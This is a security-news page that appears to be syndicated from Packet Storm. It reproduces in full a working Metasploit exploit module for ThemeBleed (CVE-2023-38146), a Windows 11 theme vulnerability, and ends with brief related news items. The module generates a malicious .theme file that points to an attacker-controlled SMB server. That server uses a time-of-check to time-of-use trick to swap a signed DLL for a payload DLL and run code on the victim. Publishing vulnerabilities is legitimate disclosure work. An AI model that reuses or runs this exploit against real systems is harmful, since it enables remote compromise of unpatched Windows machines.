Security
Headlines
HeadlinesLatestCVEs

Headline

Themebleed Windows 11 Themes Arbitrary Code Execution

When an unpatched Windows 11 host loads a theme file referencing an msstyles file, Windows loads the msstyles file, and if that file’s PACKME_VERSION is 999, it then attempts to load an accompanying dll file ending in _vrf.dll. Before loading that file, it verifies that the file is signed. It does this by opening the file for reading and verifying the signature before opening the file for execution. Because this action is performed in two discrete operations, it opens the procedure for a time of check to time of use vulnerability. By embedding a UNC file path to an SMB server we control, the SMB server can serve a legitimate, signed dll when queried for the read, but then serve a different file of the same name when the host intends to load/execute the dll.

Packet Storm
#vulnerability#web#windows#microsoft#js#git#samba#auth#ruby
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::FILEFORMAT  include Msf::Exploit::EXE  include Msf::Exploit::Remote::SMB::Server::Share  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Themebleed- Windows 11 Themes Arbitrary Code Execution CVE-2023-38146',        'Description' => %q{          When an unpatched Windows 11 host loads a theme file referencing an msstyles file, Windows loads the          msstyles file, and if that file's PACKME_VERSION is `999`, it then attempts to load an accompanying dll          file ending in `_vrf.dll` Before loading that file, it verifies that the file is signed.  It does this by          opening the file for reading and verifying the signature before opening the file for execution.          Because this action is performed in two discrete operations, it opens the procedure for a time of check to          time of use vulnerability.  By embedding a UNC file path to an SMB server we control, the SMB server can          serve a legitimate, signed dll when queried for the read, but then serve a different file of the same name          when the host intends to load/execute the dll.        },        'DisclosureDate' => '2023-09-13',        'Author' => [          'gabe_k', # Discovery/PoC          'bwatters-r7', # msf exploit          'Spencer McIntyre' # msf exploit        ],        'References' => [          ['CVE', '2023-38146'],          ['URL', 'https://exploits.forsale/themebleed/'],          ['URL', 'https://github.com/gabe-k/themebleed/tree/main']        ],        'License' => MSF_LICENSE,        'Platform' => 'win',        'Arch' => ARCH_X64,        'Targets' => [          [ 'Windows', {} ],        ],        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [ARTIFACTS_ON_DISK, SCREEN_EFFECTS],          'AKA' => ['ThemeBleed']        },        'DefaultOptions' => { 'DisablePayloadHandler' => false }      )    )    register_options([      OptPath.new('STYLE_FILE', [ true, 'The Microsoft-signed .msstyles file (e.g. aero.msstyles).', '' ], regex: /.*\w*\.msstyles$/),      OptString.new('STYLE_FILE_NAME', [ true, 'The name of the style file to reference.', '' ], regex: /^\w*(\.msstyles)?$/),      OptString.new('THEME_FILE_NAME', [ true, 'The name of the theme file to generate.', 'exploit.theme' ])    ])    deregister_options(      'FILENAME', # this is the one used by the FILEFORMAT mixin, replaced by THEME_FILE_NAME for clarity      'FILE_NAME', # this is the one used by the SMB::Server::Share mixin, replaced by STYLE_FILE_NAME for clarity      'FOLDER_NAME'    )  end  def file_format_filename    datastore['THEME_FILE_NAME']  end  def setup    super    @file = File.binread(datastore['STYLE_FILE'])    begin      pe = Rex::PeParsey::Pe.new_from_string(@file)    rescue Rex::PeParsey::PeError => e      fail_with(Failure::BadConfig, "Failed to parse the STYLE_FILE: #{e}")    end    unless pe.resources && (rva = pe.resources['/PACKTHEM_VERSION/0/0']&.rva)      fail_with(Failure::BadConfig, 'The STYLE_FILE has no PACKTHEM_VERSION resource.')    end    @file_version_offset = pe.rva_to_file_offset(rva)    @file_name = datastore['STYLE_FILE_NAME'].blank? ? Rex::Text.rand_text_alpha(rand(4..6)) : datastore['STYLE_FILE_NAME']    @file_name << '.msstyles' unless @file_name.end_with?('.msstyles')  end  def primer    payload_dll = generate_payload_dll    max_length = [payload_dll.length, @file.length].max    # make sure that the lengths are the same by padding the smaller to the length of the larger    @file.ljust(max_length, "\x00".b)    payload_dll.ljust(max_length, "\x00".b)    virtual_disk = service.shares[@share]    @service = service    virtual_file = ThreadLocalVirtualStaticFile.new(virtual_disk, "/#{@file_name}_vrf.dll", @file)    virtual_disk.add(virtual_file)    # install this hook for create requests to set the thread-local file content    virtual_disk.add_hook(RubySMB::SMB2::Packet::CreateRequest) do |_session, request|      next unless request.name.read_now!.encode.ends_with?('_vrf.dll')      if request.desired_access.execute == 1        virtual_file.tl_content = payload_dll      else        virtual_file.tl_content = @file      end      nil    end    file_create(make_theme)  end  def get_file_contents(client:)    print_status("Sending file to #{client.peerhost}")    new_version = [999].pack('v')    @file[0...@file_version_offset] + new_version + @file[(@file_version_offset + new_version.length)...]  end  def make_theme    <<~THEME      [Theme]      DisplayName=@%SystemRoot%\\System32\\themeui.dll,-2060      [Control Panel\\Desktop]      Wallpaper=%SystemRoot%\\web\\wallpaper\\Windows\\img0.jpg      TileWallpaper=0      WallpaperStyle=10      [VisualStyles]      Path=\\\\#{datastore['SRVHOST']}\\#{@share}\\#{@file_name}      ColorStyle=NormalColor      Size=NormalSize      [MasterThemeSelector]      MTSM=RJSPBS    THEME  end  class ThreadLocalVirtualStaticFile < RubySMB::Server::Share::Provider::VirtualDisk::VirtualStaticFile    def initialize(*args, **kwargs)      super      @default_content = @content      @tl_content = {}      @tl_content.compare_by_identity    end    def open(mode = 'r', &block)      @content = tl_content      super    end    def tl_content=(content)      @tl_content[Thread.current] = content    end    def tl_content      @tl_content.fetch(Thread.current, @default_content)    end  endend

Related news

September 2023: VM courses, Bahasa Indonesia, Russian Podcasts, Goodbye Tinkoff, MS Patch Tuesday, Qualys TOP 20, Linux, Forrester, GigaOm, R-Vision VM

Hello everyone! On the last day of September, I decided to record another retrospective episode on how my Vulnerability Management month went. Alternative video link (for Russia): https://vk.com/video-149273431_456239136 September was quite a busy month for me. Vulnerability Management courses I participated in two educational activities. The first one is an on-line cyber security course for […]

ThemeBleed exploit is another reason to patch Windows quickly

Categories: Exploits and vulnerabilities Categories: News Tags: theme Tags: themepack Tags: Microsoft Tags: cve-2023-38146 Tags: msstyles An exploit has been released for a vulnerability in .themes that was patched in the September 2023 Patch Tuesday update. (Read more...) The post ThemeBleed exploit is another reason to patch Windows quickly appeared first on Malwarebytes Labs.

CVE-2023-38146

Windows Themes Remote Code Execution Vulnerability

Packet Storm: Latest News

Acronis Cyber Protect/Backup Remote Code Execution